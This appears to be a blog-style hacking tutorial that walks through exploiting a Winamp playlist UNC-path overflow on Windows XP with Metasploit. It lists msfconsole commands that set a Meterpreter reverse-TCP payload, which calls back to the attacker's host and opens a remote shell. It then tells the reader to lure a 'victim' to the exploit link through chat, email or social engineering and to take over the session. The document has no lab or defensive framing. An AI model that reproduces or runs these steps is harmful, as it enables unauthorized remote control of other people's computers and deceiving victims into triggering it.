Hack Remote Windows PC using Winamp Media Player

Winamp Playlist UNC Path Computer Name Overflow

This module exploits vulnerability in the Winamp media player. This flaw is triggered when a audio file path is specified, inside a playlist, that consists of a UNC path with a long computer name. This module delivers the playlist via the browser. This module has only been successfully tested on Winamp 5.11 and 5.12.

Exploit Targets

Winamp 5.12

Windows XP SP2


Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

Now type use exploit/windows/browser/winamp_playlist_unc

Msf exploit (winamp_playlist_unc)>set payload windows/meterpreter/reverse_tcp

Msf exploit (winamp_playlist_unc)>set lhost (IP of Local Host)

Msf exploit (winamp_playlist_unc)>set srvhost (This must be an address on the local machine)

Msf exploit (winamp_playlist_unc)>set uripath winamp (The Url to use for this exploit)

Msf exploit (winamp_playlist_unc)>exploit

Now an URL you should give to your victim


Send the link of the server to the victim via chat or email or any social engineering technique.

Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID

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